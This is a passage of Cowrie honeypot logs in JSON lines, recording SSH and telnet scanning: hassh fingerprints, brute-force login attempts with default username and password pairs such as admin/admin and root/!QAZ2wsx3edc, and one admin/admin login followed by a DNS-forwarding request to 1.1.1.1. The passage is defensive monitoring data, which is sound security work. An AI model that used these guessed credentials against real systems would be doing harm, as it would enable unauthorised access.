{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:53.006092Z","src_ip":"45.156.87.254","session":"59b695095d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:53.315637Z","src_ip":"45.156.87.254","session":"59b695095d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17812,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8a0bef6989c","protocol":"ssh","message":"New connection: 87.251.64.176:17812 (10.17.0.5:22) [session: c8a0bef6989c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.151150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.156730Z","src_ip":"87.251.64.176","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.254975Z","src_ip":"87.251.64.176","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.407476Z","src_ip":"45.156.87.254","session":"59b695095d80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.542899Z","src_ip":"87.251.64.176","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.641616Z","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.739327Z","src_ip":"87.251.64.176","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:54.838442Z","src_ip":"87.251.64.176","session":"c8a0bef6989c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":41996,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f73df911662","protocol":"telnet","message":"New connection: 185.145.252.179:41996 (10.17.0.5:23) [session: 1f73df911662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:56.523049Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36088,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fffce721f8a","protocol":"telnet","message":"New connection: 104.245.105.2:36088 (10.17.0.5:23) [session: 7fffce721f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:58.258404Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52428,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2284bd0ebf2","protocol":"ssh","message":"New connection: 45.156.87.254:52428 (159.203.135.109:22) [session: a2284bd0ebf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:58.915329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:58.919591Z","src_ip":"45.156.87.254","session":"a2284bd0ebf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:59.007173Z","src_ip":"45.156.87.254","session":"a2284bd0ebf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:59.264228Z","src_ip":"45.156.87.254","session":"a2284bd0ebf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:00.389651Z","src_ip":"45.156.87.254","session":"a2284bd0ebf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c935c9b0b30e","protocol":"telnet","message":"New connection: 20.123.41.163:38380 (10.17.0.5:23) [session: c935c9b0b30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:00.824382Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52444,"dst_ip":"159.203.135.109","dst_port":22,"session":"395052c6824a","protocol":"ssh","message":"New connection: 45.156.87.254:52444 (159.203.135.109:22) [session: 395052c6824a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:04.551382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:04.556464Z","src_ip":"45.156.87.254","session":"395052c6824a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:04.644578Z","src_ip":"45.156.87.254","session":"395052c6824a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:04.909607Z","src_ip":"45.156.87.254","session":"395052c6824a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:06.000413Z","src_ip":"45.156.87.254","session":"395052c6824a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f016d0e355","protocol":"telnet","message":"New connection: 104.245.105.2:39766 (10.17.0.5:23) [session: 98f016d0e355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:07.151715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52952,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec36c893712","protocol":"ssh","message":"New connection: 45.156.87.254:52952 (159.203.135.109:22) [session: 4ec36c893712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:10.218179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:10.223023Z","src_ip":"45.156.87.254","session":"4ec36c893712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:10.308354Z","src_ip":"45.156.87.254","session":"4ec36c893712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.607142686843872,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:10.431396Z","src_ip":"20.123.41.163","session":"c935c9b0b30e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:10.671038Z","src_ip":"45.156.87.254","session":"4ec36c893712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:11.756266Z","src_ip":"45.156.87.254","session":"4ec36c893712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55632,"dst_ip":"10.17.0.5","dst_port":23,"session":"6311110e02e2","protocol":"telnet","message":"New connection: 104.245.105.2:55632 (10.17.0.5:23) [session: 6311110e02e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:13.102628Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52974,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d5ee6795b0","protocol":"ssh","message":"New connection: 45.156.87.254:52974 (159.203.135.109:22) [session: 92d5ee6795b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:15.166711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:15.183813Z","src_ip":"45.156.87.254","session":"92d5ee6795b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:15.456177Z","src_ip":"45.156.87.254","session":"92d5ee6795b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:15.743630Z","src_ip":"45.156.87.254","session":"92d5ee6795b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:16.833605Z","src_ip":"45.156.87.254","session":"92d5ee6795b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8534ed594ab7","protocol":"ssh","message":"New connection: 45.156.87.254:59076 (159.203.135.109:22) [session: 8534ed594ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:20.505947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:20.534370Z","src_ip":"45.156.87.254","session":"8534ed594ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:20.599434Z","src_ip":"45.156.87.254","session":"8534ed594ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:20.912116Z","src_ip":"45.156.87.254","session":"8534ed594ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":45180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45797e78ae2","protocol":"telnet","message":"New connection: 185.145.252.179:45180 (10.17.0.5:23) [session: f45797e78ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:21.035470Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:22.001108Z","src_ip":"45.156.87.254","session":"8534ed594ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59080,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b214109cd3","protocol":"ssh","message":"New connection: 45.156.87.254:59080 (159.203.135.109:22) [session: a0b214109cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:25.413982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:25.419495Z","src_ip":"45.156.87.254","session":"a0b214109cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nis